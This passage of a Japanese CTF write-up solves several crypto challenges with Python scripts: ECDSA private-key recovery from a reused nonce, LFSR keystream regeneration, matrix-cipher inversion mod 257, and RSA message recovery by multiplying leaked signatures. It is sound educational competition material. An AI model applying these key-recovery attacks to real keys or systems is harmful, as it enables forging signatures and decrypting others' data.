h2 = 0xa6ab91893bbd50903679eb6f0d5364dba7ec12cd3ccc6b06dfb04c044e43d300
assert r1 == r2
k = (h1 - h2) * pow(s1 - s2, -1, n) % n
d = (s1 * k - h1) * pow(r1, -1, n) % n
flag = int(d).to_bytes((d.bit_length() + 7) // 8, 'big').decode()
print(flag)
grodno{My_pr1vate_key_f0r_ECDSA}
OTP with shift register (Crypto)
初期状態がわかっているので、XORの鍵は算出でき、復号できる。
from base64 import *
from Crypto.Util.number import *
def lfsr(state, mask):
bit = (state & 1)
state = state >> 1
if bit:
state ^= mask
return state, bit
with open('OTP_LFSR_b64.bin', 'rb') as f:
enc = b64decode(f.read())
initial_state = 0b1100101011110001
mask = 0b1011010000000001
state = initial_state
key = ''
for i in range(len(enc) * 8):
state, bit = lfsr(state, mask)
key += str(bit)
key = int(key, 2)
enc = bytes_to_long(enc)
msg = long_to_bytes(enc ^ key).decode()
print(msg)
復号結果は以下の通り。
In computing, a linear-feedback shift register (LFSR) is a shift register whose input bit is a linear function of its previous state. The most commonly used linear function of single bits is exclusive-or (XOR). grodno{LFSRs_have_l0ng_been_us3d_as_pseud0-rand0m_number_g3n3rators_for_use_1n_stream_c1phers}, due to the ease of construction from simple electromechanical or electronic circuits, long periods, and very uniformly distributed output streams. However, an LFSR is a linear system, leading to fairly easy cryptanalysis.
grodno{LFSRs_have_l0ng_been_us3d_as_pseud0-rand0m_number_g3n3rators_for_use_1n_stream_c1phers}
Very Obfuscated Crypto (Crypto)
コードが読みにくいので、改行を適宜入れたり、変数名などを書き換えたりする。
import numpy as np
def ____(A, n):
x7 = int(round(np.linalg.det(A))) % n;
x8 = pow(x7, -1, n);
x9 = np.round(x7 * np.linalg.inv(A)).astype(int) ;
x10 = (x8 * x9) % n;
return x10.astype(int)
def pad(s: bytes, n: int) -> bytes:
x14 = (n - len(s) % n) % n;
return s + bytes([0] * x14)
def encrypt(plain: bytes, A: np.ndarray) -> np.ndarray:
plain = pad(plain, A.shape[0]);
x20 = np.frombuffer(plain, dtype=np.uint8).reshape(-1, A.shape[0]);
return (x20 @ A.T) % 257
if __name__ == "__main__":
flag = b"VERYSECRETFLAG"
while True:
A = np.random.randint(1, 257, (3, 3))
try:
______________________ = ____(A, 257);
break
except:
continue
encrypted = encrypt(flag, A)
print("A:\n " + repr(A.tolist()) + " \nencrypted:\n" + repr(encrypted.tolist()))
最初の関数は関係ない。encrypted = _______________(flag, A)の部分のみ関係ある。
暗号化データにA.Tの逆行列を掛け算することによって、復号する。
import numpy as np
import sympy
def inverse_matrix(matrix, mod):
sym_mat = sympy.Matrix(matrix.tolist())
return np.array(sym_mat.inv_mod(mod))
def pad(s: bytes, n: int) -> bytes:
x14 = (n - len(s) % n) % n;
return s + bytes([0] * x14)
def encrypt(plain: bytes, A: np.ndarray) -> np.ndarray:
plain = pad(plain, A.shape[0]);
x20 = np.frombuffer(plain, dtype=np.uint8).reshape(-1, A.shape[0]);
print(x20)
print(A.T)
return (x20 @ A.T) % mod
mod = 257
A = np.array([[193, 243, 218], [240, 186, 172], [62, 118, 70]])
encrypted = np.array([[76, 252, 109], [67, 73, 222], [227, 49, 104], [199, 230, 167], [118, 74, 4], [253, 70, 40], [78, 123, 230], [16, 240, 85], [62, 184, 34], [87, 50, 233], [224, 188, 40]])
mat_flag = encrypted @ inverse_matrix(A.T, mod) % mod
flag = ''
for i in range(len(mat_flag)):
for j in range(3):
flag += chr(mat_flag[i][j])
flag = flag.rstrip('\x00')
print(flag)
grodno{0bfuscated_st3p_by_st3p}
Amount of his dreams (Crypto)
sはおそらく暗号データであるため、以下が成り立つ。
pow(m, e, n) = s
Sign({x}) = leak[x]の形式で書かれている部分は、以下が成り立つ。
pow(x, d, n)
sを素因数分解し、その要素でxが存在するか確認する。
$ python3 -m primefac 51999884711298256279139483764500625524555947558324683565293215223860861439365869245016556808946069376210234208051889905473428307099335266198556660549084421948376963868131939751733713217547145342061587754812000747394877170239958534615968079443224197703107182407137345808430083378360519257003496366898745432749
51999884711298256279139483764500625524555947558324683565293215223860861439365869245016556808946069376210234208051889905473428307099335266198556660549084421948376963868131939751733713217547145342061587754812000747394877170239958534615968079443224197703107182407137345808430083378360519257003496366898745432749: 53 71 73 83 97 101 103 107 109 127 131 137 139 149 151 157 163 167 173 179 191 193 199 211 223 227 229 233 239 251 257 263 269 271 277 281 293 307 311 313 317 331 337 349 359 367 373 397 401 409 419 421 431 433 439 457 461 463 467 487 503 509 521 523 541 547 563 569 571 577 587 593 601 607 613 617 631 643 653 661 677 683 691 701 719 727 733 743 751 761 769 773 787 797 809 821 827 829 839 853 857 859 863 877 881 883 887 911 919 929 941 947 967 971 977 983 991 997
少し見たが、素因数分解したものがxとして存在していそう。それぞれのLeakの値を掛け算し、nで割った余りが復号データになる。
from Crypto.Util.number import *
s = 51999884711298256279139483764500625524555947558324683565293215223860861439365869245016556808946069376210234208051889905473428307099335266198556660549084421948376963868131939751733713217547145342061587754812000747394877170239958534615968079443224197703107182407137345808430083378360519257003496366898745432749
with open('Homo_RSA_print.txt', 'r') as f:
params = f.read().splitlines()
n = int(params[1].split(' ')[-1])
e = int(params[2].split(' ')[-1])
signs = {sign.split(' = ')[0]: int(sign.split(' = ')[1]) for sign in params[4:] if sign != ''}
xs = [53, 71, 73, 83, 97, 101, 103, 107, 109, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 191, 193, 199, 211, 223, 227, 229, 233, 239, 251, 257, 263, 269, 271, 277, 281, 293, 307, 311, 313, 317, 331, 337, 349, 359, 367, 373, 397, 401, 409, 419, 421, 431, 433, 439, 457, 461, 463, 467, 487, 503, 509, 521, 523, 541, 547, 563, 569, 571, 577, 587, 593, 601, 607, 613, 617, 631, 643, 653, 661, 677, 683, 691, 701, 719, 727, 733, 743, 751, 761, 769, 773, 787, 797, 809, 821, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 911, 919, 929, 941, 947, 967, 971, 977, 983, 991, 997]
m = 1
for x in xs:
k = 'Sign(%d)' % x
v = signs[k]
m = m * v
m = m % n
assert pow(m, e, n) == s
flag = 'grodno{%d}' % m
print(flag)
grodno{33685806344610013440391092471162906731747414799458770390228011547896947441019038442809668369384847898283716808823907627273158942410599489392109911363745780119147336936265397500636276495512425271198667881752093225451468171745668826537802448151911985631870475104451959679785183493969420533121864372306616389823}
アンケートに答えたら、フラグが表示された。
grodno{Our_next_CTF_will_be_in_July_2026._We_invite_you_to_participate_!}